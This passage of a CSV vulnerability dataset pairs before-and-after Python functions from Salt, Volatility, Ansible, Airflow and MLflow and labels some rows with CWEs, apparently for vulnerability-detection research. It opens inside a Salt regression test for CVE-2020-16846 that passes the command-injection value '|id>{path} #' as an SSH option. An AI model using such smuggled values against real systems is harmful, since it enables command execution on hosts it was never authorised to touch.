    Verify CVE-2020-16846 for ssh_options
    """"""
    # ZDI-CAN-11169
    path = tmp_path / ""test-11169""
    low = {
        ""roster"": ""cache"",
        ""client"": ""ssh"",
        ""tgt"": ""127.0.0.1"",
        ""renderer"": ""jinja|yaml"",
        ""fun"": ""test.ping"",
        ""eauth"": ""auto"",
        ""username"": salt_auto_account.username,
        ""password"": salt_auto_account.password,
        ""roster_file"": str(salt_ssh_roster_file),
        ""rosters"": ""/"",
        ""ssh_options"": [f""|id>{path} #"", ""lol""],
    }
    ret = client.run(low)
    assert path.exists() is False
    assert ""bad configuration option"" in ret[""127.0.0.1""]"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/filescan.py,0,"def check(self, found):
        ## The offset of the object is determined by subtracting the offset
        ## of the PoolTag member to get the start of Pool Object. This done
        ## because PoolScanners search for the PoolTag. 
        pool_base = found - self.address_space.profile.get_obj_offset(
            '_POOL_HEADER', 'PoolTag')

        pool_obj = obj.Object(""_POOL_HEADER"", vm = self.address_space,
                                 offset = pool_base)

        ## We work out the _EPROCESS from the end of the
        ## allocation (bottom up).
        pool_align = obj.VolMagic(self.address_space).PoolAlignment.v()
        esize = self.address_space.profile.get_obj_size(""_EPROCESS"")
        eprocess = obj.Object(""_EPROCESS"", vm = self.address_space,
                  offset = pool_base + pool_obj.BlockSize * pool_align - \
                  (esize + esize % pool_align))

        if (eprocess.Pcb.DirectoryTableBase == 0):
            return False

        if (eprocess.Pcb.DirectoryTableBase % 0x20 != 0):
            return False

        list_head = eprocess.ThreadListHead

        if (list_head.Flink < self.kernel) or (list_head.Blink < self.kernel):
            return False

        return True",,volatilityfoundation/volatility,4d3d00dc4af3d03bfd75a1dd3b1c67e3a82ea42f,"def check(self, found):
        ## The offset of the object is determined by subtracting the offset
        ## of the PoolTag member to get the start of Pool Object. This done
        ## because PoolScanners search for the PoolTag. 
        pool_base = found - self.address_space.profile.get_obj_offset(
            '_POOL_HEADER', 'PoolTag')

        pool_obj = obj.Object(""_POOL_HEADER"", vm = self.address_space,
                                 offset = pool_base)

        ## We work out the _EPROCESS from the end of the
        ## allocation (bottom up).
        pool_align = obj.VolMagic(self.address_space).PoolAlignment.v()
        eprocess = obj.Object(""_EPROCESS"", vm = self.address_space,
                  offset = pool_base + pool_obj.BlockSize * pool_align - \
                  self.address_space.profile.get_obj_size(""_EPROCESS"")
                  )

        if (eprocess.Pcb.DirectoryTableBase == 0):
            return False

        if (eprocess.Pcb.DirectoryTableBase % 0x20 != 0):
            return False

        list_head = eprocess.ThreadListHead

        if (list_head.Flink < self.kernel) or (list_head.Blink < self.kernel):
            return False

        return True"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/aws_s3.py,0,"def delete_bucket(module, s3, bucket):
    if module.check_mode:
        module.exit_json(msg=""DELETE operation skipped - running in check mode"", changed=True)
    try:
        exists = bucket_check(module, s3, bucket)
        if exists is False:
            return False
        # if there are contents then we need to delete them before we can delete the bucket
        for keys in paginated_list(s3, Bucket=bucket):
            formatted_keys = [{'Key': key} for key in keys]
            if formatted_keys:
                s3.delete_objects(Bucket=bucket, Delete={'Objects': formatted_keys})
        s3.delete_bucket(Bucket=bucket)
        return True
    except botocore.exceptions.ClientError as e:
        module.fail_json(msg=""Failed while deleting bucket %s."", exception=traceback.format_exc(), **camel_dict_to_snake_dict(e.response))",,ansible/ansible,bdbe5337c65a81731e0b222193d469f1402240ec,"def delete_bucket(module, s3, bucket):
    if module.check_mode:
        module.exit_json(msg=""DELETE operation skipped - running in check mode"", changed=True)
    try:
        exists = bucket_check(module, s3, bucket)
        if exists is False:
            return False
        # if there are contents then we need to delete them before we can delete the bucket
        for keys in paginated_list(s3, Bucket=bucket):
            formatted_keys = [{'Key': key} for key in keys]
            s3.delete_objects(Bucket=bucket, Delete={'Objects': formatted_keys})
        s3.delete_bucket(Bucket=bucket)
        return True
    except botocore.exceptions.ClientError as e:
        module.fail_json(msg=""Failed while deleting bucket %s."", exception=traceback.format_exc(), **camel_dict_to_snake_dict(e.response))"
,UNKNOWN,UNKNOWN,tests/providers/snowflake/hooks/test_snowflake.py,1,"def test_connection_failure(self, mock_run):
        with unittest.mock.patch.dict(
            'os.environ', AIRFLOW_CONN_SNOWFLAKE_DEFAULT=Connection(**BASE_CONNECTION_KWARGS).get_uri()
        ):
            hook = SnowflakeHook()
            status, msg = hook.test_connection()
            assert status is False
            assert msg == 'Connection Errors'
            mock_run.assert_called_once_with(sql='select 1')",CWE-703,apache/airflow,86cfd1244a641a8f17c9b33a34399d9be264f556,"def test_connection_failure(self, mock_run):
        with unittest.mock.patch.dict(
            'os.environ', AIRFLOW_CONN_SNOWFLAKE_DEFAULT=Connection(**BASE_CONNECTION_KWARGS).get_uri()
        ):
            hook = SnowflakeHook()
            status, msg = hook.test_connection()
            assert status is False
            assert msg == 'Connection Errors'
            mock_run.assert_called_once_with(sql='select 1')"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/api_fastapi/core_api/routes/public/test_assets.py,1,"def test_should_respond_200(self, test_client, session):
        self.create_assets()
        session.add(AssetModel(""inactive"", ""inactive""))
        session.commit()

        assert len(session.query(AssetModel).all()) == 3
        assert len(session.query(AssetActive).all()) == 2

        response = test_client.get(""/assets"")
        assert response.status_code == 200
        response_data = response.json()
        tz_datetime_format = from_datetime_to_zulu_without_ms(DEFAULT_DATE)
        assert response_data == {
            ""assets"": [
                {
                    ""id"": 1,
                    ""name"": ""simple1"",
                    ""uri"": ""s3://bucket/key/1"",
                    ""group"": ""asset"",
                    ""extra"": {""foo"": ""bar""},
                    ""created_at"": tz_datetime_format,
                    ""updated_at"": tz_datetime_format,
                    ""consuming_dags"": [],
                    ""producing_tasks"": [],
                    ""aliases"": [],
                },
                {
                    ""id"": 2,
                    ""name"": ""simple2"",
                    ""uri"": ""s3://bucket/key/2"",
                    ""group"": ""asset"",
                    ""extra"": {""foo"": ""bar""},
                    ""created_at"": tz_datetime_format,
                    ""updated_at"": tz_datetime_format,
                    ""consuming_dags"": [],
                    ""producing_tasks"": [],
                    ""aliases"": [],
                },
            ],
            ""total_entries"": 2,
        }",CWE-703,apache/airflow,831f12ad7e2cff25c8007583521d664a5e9f21e6,"def test_should_respond_200(self, test_client, session):
        self.create_assets()
        session.add(AssetModel(""inactive"", ""inactive""))
        session.commit()

        assert len(session.query(AssetModel).all()) == 3
        assert len(session.query(AssetActive).all()) == 2

        response = test_client.get(""/api/v2/assets"")
        assert response.status_code == 200
        response_data = response.json()
        tz_datetime_format = from_datetime_to_zulu_without_ms(DEFAULT_DATE)
        assert response_data == {
            ""assets"": [
                {
                    ""id"": 1,
                    ""name"": ""simple1"",
                    ""uri"": ""s3://bucket/key/1"",
                    ""group"": ""asset"",
                    ""extra"": {""foo"": ""bar""},
                    ""created_at"": tz_datetime_format,
                    ""updated_at"": tz_datetime_format,
                    ""consuming_dags"": [],
                    ""producing_tasks"": [],
                    ""aliases"": [],
                },
                {
                    ""id"": 2,
                    ""name"": ""simple2"",
                    ""uri"": ""s3://bucket/key/2"",
                    ""group"": ""asset"",
                    ""extra"": {""foo"": ""bar""},
                    ""created_at"": tz_datetime_format,
                    ""updated_at"": tz_datetime_format,
                    ""consuming_dags"": [],
                    ""producing_tasks"": [],
                    ""aliases"": [],
                },
            ],
            ""total_entries"": 2,
        }"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/entities/model_registry/registered_model.py,0,"def name(self):
        """"""String. Registered model name.""""""
        return self._name",,mlflow/mlflow,af5eb99d1931bf0907773c0d9433387ddfe3f903,"def name(self):
        """"""String. Registered model name.""""""
        return self._name"
,UNKNOWN,UNKNOWN,tests/www/test_security.py,1,"def test_get_user_roles_for_anonymous_user(self):
        viewer_role_perms = {
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_DAG),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_DAG_CODE),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_DAG_RUN),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_IMPORT_ERROR),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_AUDIT_LOG),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_JOB),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_PLUGIN),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_SLA_MISS),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_TASK_INSTANCE),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_TASK_LOG),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_XCOM),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_WEBSITE),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_BROWSE_MENU),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_DAG_RUN),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_JOB),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_AUDIT_LOG),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_PLUGIN),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_SLA_MISS),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_TASK_INSTANCE),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_DOCS_MENU),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_DOCS),
            (permissions.ACTION_CAN_THIS_FORM_GET, permissions.RESOURCE_RESET_MY_PASSWORD_VIEW),
            (permissions.ACTION_CAN_THIS_FORM_POST, permissions.RESOURCE_RESET_MY_PASSWORD_VIEW),
            (permissions.ACTION_RESETMYPASSWORD, permissions.RESOURCE_USER_DB_MODELVIEW),
            (permissions.ACTION_CAN_THIS_FORM_GET, permissions.RESOURCE_USERINFO_EDIT_VIEW),
            (permissions.ACTION_CAN_THIS_FORM_POST, permissions.RESOURCE_USERINFO_EDIT_VIEW),
            (permissions.ACTION_USERINFOEDIT, permissions.RESOURCE_USER_DB_MODELVIEW),
            (permissions.ACTION_CAN_USERINFO, permissions.RESOURCE_USER_DB_MODELVIEW),
            (permissions.ACTION_CAN_USERINFO, permissions.RESOURCE_USER_OID_MODELVIEW),
            (permissions.ACTION_CAN_USERINFO, permissions.RESOURCE_USER_LDAP_MODELVIEW),
            (permissions.ACTION_CAN_USERINFO, permissions.RESOURCE_USER_OAUTH_MODELVIEW),
            (permissions.ACTION_CAN_USERINFO, permissions.RESOURCE_USER_REMOTEUSER_MODELVIEW),
        }
        self.app.config['AUTH_ROLE_PUBLIC'] = 'Viewer'

        with self.app.app_context():
            user = mock.MagicMock()
            user.is_anonymous = True

            perms_views = set()
            for role in self.security_manager.get_user_roles(user):
                perms_views.update(
                    {(perm_view.permission.name, perm_view.view_menu.name) for perm_view in role.permissions}
                )
            assert perms_views == viewer_role_perms",CWE-703,apache/airflow,1bec3b21266764f367431ab5d9a5b75f52b9b6d2,"def test_get_user_roles_for_anonymous_user(self):
        viewer_role_perms = {
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_DAG),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_DAG_CODE),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_DAG_RUN),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_IMPORT_ERROR),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_AUDIT_LOG),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_JOB),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_PLUGIN),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_SLA_MISS),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_TASK_INSTANCE),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_TASK_LOG),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_XCOM),
            (permissions.ACTION_CAN_READ, permissions.RESOURCE_WEBSITE),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_BROWSE_MENU),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_DAG_RUN),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_JOB),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_AUDIT_LOG),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_PLUGIN),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_SLA_MISS),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_TASK_INSTANCE),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_DOCS_MENU),
            (permissions.ACTION_CAN_ACCESS_MENU, permissions.RESOURCE_DOCS_LINKS),
            (permissions.ACTION_CAN_THIS_FORM_GET, permissions.RESOURCE_RESET_MY_PASSWORD_VIEW),
            (permissions.ACTION_CAN_THIS_FORM_POST, permissions.RESOURCE_RESET_MY_PASSWORD_VIEW),
            (permissions.ACTION_RESETMYPASSWORD, permissions.RESOURCE_USER_DB_MODELVIEW),
            (permissions.ACTION_CAN_THIS_FORM_GET, permissions.RESOURCE_USERINFO_EDIT_VIEW),
            (permissions.ACTION_CAN_THIS_FORM_POST, permissions.RESOURCE_USERINFO_EDIT_VIEW),
            (permissions.ACTION_USERINFOEDIT, permissions.RESOURCE_USER_DB_MODELVIEW),
            (permissions.ACTION_CAN_USERINFO, permissions.RESOURCE_USER_DB_MODELVIEW),
            (permissions.ACTION_CAN_USERINFO, permissions.RESOURCE_USER_OID_MODELVIEW),
            (permissions.ACTION_CAN_USERINFO, permissions.RESOURCE_USER_LDAP_MODELVIEW),
            (permissions.ACTION_CAN_USERINFO, permissions.RESOURCE_USER_OAUTH_MODELVIEW),
            (permissions.ACTION_CAN_USERINFO, permissions.RESOURCE_USER_REMOTEUSER_MODELVIEW),
        }
        self.app.config['AUTH_ROLE_PUBLIC'] = 'Viewer'

        with self.app.app_context():
            user = mock.MagicMock()
            user.is_anonymous = True

            perms_views = set()
            for role in self.security_manager.get_user_roles(user):
                perms_views.update(
                    {(perm_view.permission.name, perm_view.view_menu.name) for perm_view in role.permissions}
                )
            assert perms_views == viewer_role_perms"
,UNKNOWN,UNKNOWN,tools/pkgrepo.py,1,"def debian(
    ctx: Context,
    salt_version: str = None,
    distro: str = None,
    distro_version: str = None,
    incoming: pathlib.Path = None,
    repo_path: pathlib.Path = None,
    key_id: str = None,
    distro_arch: str = ""amd64"",
    nightly_build: bool = False,
    rc_build: bool = False,
):
    """"""
    Create the debian repository.
    """"""
    if TYPE_CHECKING:
        assert salt_version is not None
        assert distro is not None
        assert distro_version is not None
        assert incoming is not None
        assert repo_path is not None
        assert key_id is not None
    distro_info = {
        ""debian"": {
            ""10"": {
                ""label"": ""deb10ary"",
                ""codename"": ""buster"",
                ""suitename"": ""oldstable"",
            },
            ""11"": {
                ""label"": ""deb11ary"",
                ""codename"": ""bullseye"",
                ""suitename"": ""stable"",
            },
        },
        ""ubuntu"": {
            ""18.04"": {
                ""label"": ""salt_ubuntu1804"",
                ""codename"": ""bionic"",
            },
            ""20.04"": {
                ""label"": ""salt_ubuntu2004"",
                ""codename"": ""focal"",
            },
            ""22.04"": {
                ""label"": ""salt_ubuntu2204"",
                ""codename"": ""jammy"",
            },
        },
    }
    display_name = f""{distro.capitalize()} {distro_version}""
    if distro_version not in distro_info[distro]:
        ctx.error(f""Support for {display_name} is missing."")
        ctx.exit(1)

    if distro_arch == ""x86_64"":
        ctx.info(f""The {distro_arch} arch is an alias for 'amd64'. Adjusting."")
        distro_arch = ""amd64""

    if distro_arch == ""aarch64"":
        ctx.info(f""The {distro_arch} arch is an alias for 'arm64'. Adjusting."")
        distro_arch = ""arm64""

    distro_details = distro_info[distro][distro_version]

    ctx.info(""Distribution Details:"")
    ctx.info(distro_details)
    if TYPE_CHECKING:
        assert isinstance(distro_details[""label""], str)
        assert isinstance(distro_details[""codename""], str)
        assert isinstance(distro_details[""suitename""], str)
    label: str = distro_details[""label""]
    codename: str = distro_details[""codename""]

    ftp_archive_config_suite = """"
    if distro == ""debian"":
        suitename: str = distro_details[""suitename""]
        ftp_archive_config_suite = (
            f""""""\n    APT::FTPArchive::Release::Suite ""{suitename}"";\n""""""
        )
    archive_description = f""SaltProject {display_name} Python 3{'' if nightly_build else ' development'} Salt package repo""
    ftp_archive_config = f""""""\
    APT::FTPArchive::Release::Origin ""SaltProject"";
    APT::FTPArchive::Release::Label ""{label}"";{ftp_archive_config_suite}
    APT::FTPArchive::Release::Codename ""{codename}"";
    APT::FTPArchive::Release::Architectures ""{distro_arch}"";
    APT::FTPArchive::Release::Components ""main"";
    APT::FTPArchive::Release::Description ""{archive_description}"";
    APT::FTPArchive::Release::Acquire-By-Hash ""yes"";
    Dir {{
        ArchiveDir ""."";
    }};
    BinDirectory ""pool"" {{
        Packages ""dists/{codename}/main/binary-{distro_arch}/Packages"";
        Sources ""dists/{codename}/main/source/Sources"";
        Contents ""dists/{codename}/main/Contents-{distro_arch}"";
    }}
    """"""
    ctx.info(""Creating repository directory structure ..."")
    create_repo_path = _create_repo_path(
        repo_path,
        salt_version,
        distro,
        distro_version=distro_version,
        distro_arch=distro_arch,
        rc_build=rc_build,
        nightly_build=nightly_build,
    )
    ftp_archive_config_file = create_repo_path / ""apt-ftparchive.conf""
    ctx.info(f""Writing {ftp_archive_config_file} ..."")
    ftp_archive_config_file.write_text(textwrap.dedent(ftp_archive_config))

    # Export the GPG key in use
    _export_gpg_key(ctx, key_id, repo_path, create_repo_path)

    pool_path = create_repo_path / ""pool""
    pool_path.mkdir(exist_ok=True)
    for fpath in incoming.iterdir():
        dpath = pool_path / fpath.name
        ctx.info(f""Copying {fpath} to {dpath} ..."")
        shutil.copyfile(fpath, dpath)
        if fpath.suffix == "".dsc"":
            ctx.info(f""Running 'debsign' on {dpath} ..."")
            ctx.run(""debsign"", ""--re-sign"", ""-k"", key_id, str(dpath), interactive=True)

    dists_path = create_repo_path / ""dists""
    symlink_parent_path = dists_path / codename / ""main""
    symlink_paths = (
        symlink_parent_path / ""by-hash"" / ""SHA256"",
        symlink_parent_path / ""source"" / ""by-hash"" / ""SHA256"",
        symlink_parent_path / f""binary-{distro_arch}"" / ""by-hash"" / ""SHA256"",
    )

    for path in symlink_paths:
        path.mkdir(exist_ok=True, parents=True)

    cmdline = [""apt-ftparchive"", ""generate"", ""apt-ftparchive.conf""]
    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ctx.run(*cmdline, cwd=create_repo_path)

    ctx.info(""Creating by-hash symlinks ..."")
    for path in symlink_paths:
        for fpath in path.parent.parent.iterdir():
            if not fpath.is_file():
                continue
            sha256sum = ctx.run(""sha256sum"", str(fpath), capture=True)
            link = path / sha256sum.stdout.decode().split()[0]
            link.symlink_to(f""../../{fpath.name}"")

    cmdline = [
        ""apt-ftparchive"",
        ""--no-md5"",
        ""--no-sha1"",
        ""--no-sha512"",
        ""release"",
        ""-c"",
        ""apt-ftparchive.conf"",
        f""dists/{codename}/"",
    ]
    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ret = ctx.run(*cmdline, capture=True, cwd=create_repo_path)
    release_file = dists_path / codename / ""Release""
    ctx.info(f""Writing {release_file}  with the output of the previous command..."")
    release_file.write_bytes(ret.stdout)

    cmdline = [
        ""gpg"",
        ""-u"",
        key_id,
        ""-o"",
        f""dists/{codename}/InRelease"",
        ""-a"",
        ""-s"",
        ""--clearsign"",
        f""dists/{codename}/Release"",
    ]
    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ctx.run(*cmdline, cwd=create_repo_path)

    cmdline = [
        ""gpg"",
        ""-u"",
        key_id,
        ""-o"",
        f""dists/{codename}/Release.gpg"",
        ""-a"",
        ""-b"",
        ""-s"",
        f""dists/{codename}/Release"",
    ]

    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ctx.run(*cmdline, cwd=create_repo_path)
    if nightly_build is False:
        ctx.info(""Creating '<major-version>' and 'latest' symlinks ..."")
        major_version = Version(salt_version).major
        major_link = create_repo_path.parent.parent / str(major_version)
        major_link.symlink_to(f""minor/{salt_version}"")
        latest_link = create_repo_path.parent.parent / ""latest""
        latest_link.symlink_to(f""minor/{salt_version}"")
    else:
        ctx.info(""Creating 'latest' symlink ..."")
        latest_link = create_repo_path.parent / ""latest""
        latest_link.symlink_to(create_repo_path.name)

    ctx.info(""Done"")",CWE-703,saltstack/salt,f57bf390a33d0bf6a8a1b10ee7c06f00522542c4,"def debian(
    ctx: Context,
    salt_version: str = None,
    distro: str = None,
    distro_version: str = None,
    incoming: pathlib.Path = None,
    repo_path: pathlib.Path = None,
    key_id: str = None,
    distro_arch: str = ""amd64"",
    nightly_build: bool = False,
    rc_build: bool = False,
):
    """"""
    Create the debian repository.
    """"""
    if TYPE_CHECKING:
        assert salt_version is not None
        assert distro is not None
        assert distro_version is not None
        assert incoming is not None
        assert repo_path is not None
        assert key_id is not None
    distro_info = {
        ""debian"": {
            ""10"": {
                ""label"": ""deb10ary"",
                ""codename"": ""buster"",
                ""suitename"": ""oldstable"",
            },
            ""11"": {
                ""label"": ""deb11ary"",
                ""codename"": ""bullseye"",
                ""suitename"": ""stable"",
            },
        },
        ""ubuntu"": {
            ""18.04"": {
                ""label"": ""salt_ubuntu1804"",
                ""codename"": ""bionic"",
            },
            ""20.04"": {
                ""label"": ""salt_ubuntu2004"",
                ""codename"": ""focal"",
            },
            ""22.04"": {
                ""label"": ""salt_ubuntu2204"",
                ""codename"": ""jammy"",
            },
        },
    }
    display_name = f""{distro.capitalize()} {distro_version}""
    if distro_version not in distro_info[distro]:
        ctx.error(f""Support for {display_name} is missing."")
        ctx.exit(1)

    if distro_arch == ""x86_64"":
        ctx.info(f""The {distro_arch} arch is an alias for 'amd64'. Adjusting."")
        distro_arch = ""amd64""

    if distro_arch == ""aarch64"":
        ctx.info(f""The {distro_arch} arch is an alias for 'arm64'. Adjusting."")
        distro_arch = ""arm64""

    distro_details = distro_info[distro][distro_version]

    ctx.info(""Distribution Details:"")
    ctx.info(distro_details)
    if TYPE_CHECKING:
        assert isinstance(distro_details[""label""], str)
        assert isinstance(distro_details[""codename""], str)
        assert isinstance(distro_details[""suitename""], str)
    label: str = distro_details[""label""]
    codename: str = distro_details[""codename""]

    ftp_archive_config_suite = """"
    if distro == ""debian"":
        suitename: str = distro_details[""suitename""]
        ftp_archive_config_suite = (
            f""""""\n    APT::FTPArchive::Release::Suite ""{suitename}"";\n""""""
        )
    archive_description = f""SaltProject {display_name} Python 3{'' if nightly_build else ' development'} Salt package repo""
    ftp_archive_config = f""""""\
    APT::FTPArchive::Release::Origin ""SaltProject"";
    APT::FTPArchive::Release::Label ""{label}"";{ftp_archive_config_suite}
    APT::FTPArchive::Release::Codename ""{codename}"";
    APT::FTPArchive::Release::Architectures ""{distro_arch}"";
    APT::FTPArchive::Release::Components ""main"";
    APT::FTPArchive::Release::Description ""{archive_description}"";
    APT::FTPArchive::Release::Acquire-By-Hash ""yes"";
    Dir {{
        ArchiveDir ""."";
    }};
    BinDirectory ""pool"" {{
        Packages ""dists/{codename}/main/binary-{distro_arch}/Packages"";
        Sources ""dists/{codename}/main/source/Sources"";
        Contents ""dists/{codename}/main/Contents-{distro_arch}"";
    }}
    """"""
    ctx.info(""Creating repository directory structure ..."")
    create_repo_path = _create_repo_path(
        repo_path,
        salt_version,
        distro,
        distro_version=distro_version,
        distro_arch=distro_arch,
        rc_build=rc_build,
        nightly_build=nightly_build,
    )
    ftp_archive_config_file = create_repo_path / ""apt-ftparchive.conf""
    ctx.info(f""Writing {ftp_archive_config_file} ..."")
    ftp_archive_config_file.write_text(textwrap.dedent(ftp_archive_config))

    # Export the GPG key in use
    _export_gpg_key(ctx, key_id, repo_path, create_repo_path)

    pool_path = create_repo_path / ""pool""
    pool_path.mkdir(exist_ok=True)
    for fpath in incoming.iterdir():
        dpath = pool_path / fpath.name
        ctx.info(f""Copying {fpath} to {dpath} ..."")
        shutil.copyfile(fpath, dpath)
        if fpath.suffix == "".dsc"":
            ctx.info(f""Running 'debsign' on {dpath} ..."")
            ctx.run(""debsign"", ""--re-sign"", ""-k"", key_id, str(dpath), interactive=True)

    dists_path = create_repo_path / ""dists""
    symlink_parent_path = dists_path / codename / ""main""
    symlink_paths = (
        symlink_parent_path / ""by-hash"" / ""SHA256"",
        symlink_parent_path / ""source"" / ""by-hash"" / ""SHA256"",
        symlink_parent_path / f""binary-{distro_arch}"" / ""by-hash"" / ""SHA256"",
    )

    for path in symlink_paths:
        path.mkdir(exist_ok=True, parents=True)

    cmdline = [""apt-ftparchive"", ""generate"", ""apt-ftparchive.conf""]
    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ctx.run(*cmdline, cwd=create_repo_path)

    ctx.info(""Creating by-hash symlinks ..."")
    for path in symlink_paths:
        for fpath in path.parent.parent.iterdir():
            if not fpath.is_file():
                continue
            sha256sum = ctx.run(""sha256sum"", str(fpath), capture=True)
            link = path / sha256sum.stdout.decode().split()[0]
            link.symlink_to(f""../../{fpath.name}"")

    cmdline = [
        ""apt-ftparchive"",
        ""--no-md5"",
        ""--no-sha1"",
        ""--no-sha512"",
        ""release"",
        ""-c"",
        ""apt-ftparchive.conf"",
        f""dists/{codename}/"",
    ]
    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ret = ctx.run(*cmdline, capture=True, cwd=create_repo_path)
    release_file = dists_path / codename / ""Release""
    ctx.info(f""Writing {release_file}  with the output of the previous command..."")
    release_file.write_bytes(ret.stdout)

    cmdline = [
        ""gpg"",
        ""-u"",
        key_id,
        ""-o"",
        f""dists/{codename}/InRelease"",
        ""-a"",
        ""-s"",
        ""--clearsign"",
        f""dists/{codename}/Release"",
    ]
    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ctx.run(*cmdline, cwd=create_repo_path)

    cmdline = [
        ""gpg"",
        ""-u"",
        key_id,
        ""-o"",
        f""dists/{codename}/Release.gpg"",
        ""-a"",
        ""-b"",
        ""-s"",
        f""dists/{codename}/Release"",
    ]

    ctx.info(f""Running '{' '.join(cmdline)}' ..."")
    ctx.run(*cmdline, cwd=create_repo_path)
    if nightly_build is False:
        ctx.info(""Creating '<major-version>' and 'latest' symlinks ..."")
        major_version = packaging.version.parse(salt_version).major
        major_link = create_repo_path.parent.parent / str(major_version)
        major_link.symlink_to(f""minor/{salt_version}"")
        latest_link = create_repo_path.parent.parent / ""latest""
        latest_link.symlink_to(f""minor/{salt_version}"")
    else:
        ctx.info(""Creating 'latest' symlink ..."")
        latest_link = create_repo_path.parent / ""latest""
        latest_link.symlink_to(create_repo_path.name)

    ctx.info(""Done"")"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/aireos.py,0,"def run(self, tmp=None, task_vars=None):

        if self._play_context.connection != 'local':
            return dict(
                failed=True,
                msg='invalid connection specified, expected connection=local, '
                    'got %s' % self._play_context.connection
            )

        provider = self.load_provider()

        pc = copy.deepcopy(self._play_context)
        pc.connection = 'network_cli'
        pc.network_os = 'aireos'
        pc.remote_addr = provider['host'] or self._play_context.remote_addr
        pc.port = int(provider['port'] or self._play_context.port or 22)
        pc.remote_user = provider['username'] or self._play_context.connection_user
        pc.password = provider['password'] or self._play_context.password
        pc.timeout = int(provider['timeout'] or C.PERSISTENT_COMMAND_TIMEOUT)

        display.vvv('using connection plugin %s' % pc.connection, pc.remote_addr)
        connection = self._shared_loader_obj.connection_loader.get('persistent', pc, sys.stdin)

        socket_path = connection.run()
        display.vvvv('socket_path: %s' % socket_path, pc.remote_addr)
        if not socket_path:
            return {'failed': True,
                    'msg': 'unable to open shell. Please see: ' +
                           'https://docs.ansible.com/ansible/network_debug_troubleshooting.html#unable-to-open-shell'}

        # make sure we are in the right cli context which should be
        # enable mode and not config module
        rc, out, err = connection.exec_command('prompt()')
        if str(out).strip().endswith(')#'):
            display.vvvv('wrong context, sending exit to device', self._play_context.remote_addr)
            connection.exec_command('exit')

        task_vars['ansible_socket'] = socket_path

        if self._play_context.become_method == 'enable':
            self._play_context.become = False
            self._play_context.become_method = None

        result = super(ActionModule, self).run(tmp, task_vars)
        return result",,ansible/ansible,a914a39975665016e539a3e33cb2a14a28358ef4,"def run(self, tmp=None, task_vars=None):

        if self._play_context.connection != 'local':
            return dict(
                failed=True,
                msg='invalid connection specified, expected connection=local, '
                    'got %s' % self._play_context.connection
            )

        provider = self.load_provider()

        pc = copy.deepcopy(self._play_context)
        pc.connection = 'network_cli'
        pc.network_os = 'aireos'
        pc.remote_addr = provider['host'] or self._play_context.remote_addr
        pc.port = provider['port'] or self._play_context.port or 22
        pc.remote_user = provider['username'] or self._play_context.connection_user
        pc.password = provider['password'] or self._play_context.password
        pc.timeout = provider['timeout'] or C.PERSISTENT_COMMAND_TIMEOUT

        display.vvv('using connection plugin %s' % pc.connection, pc.remote_addr)
        connection = self._shared_loader_obj.connection_loader.get('persistent', pc, sys.stdin)

        socket_path = connection.run()
        display.vvvv('socket_path: %s' % socket_path, pc.remote_addr)
        if not socket_path:
            return {'failed': True,
                    'msg': 'unable to open shell. Please see: ' +
                           'https://docs.ansible.com/ansible/network_debug_troubleshooting.html#unable-to-open-shell'}

        # make sure we are in the right cli context which should be
        # enable mode and not config module
        rc, out, err = connection.exec_command('prompt()')
        if str(out).strip().endswith(')#'):
            display.vvvv('wrong context, sending exit to device', self._play_context.remote_addr)
            connection.exec_command('exit')

        task_vars['ansible_socket'] = socket_path

        if self._play_context.become_method == 'enable':
            self._play_context.become = False
            self._play_context.become_method = None

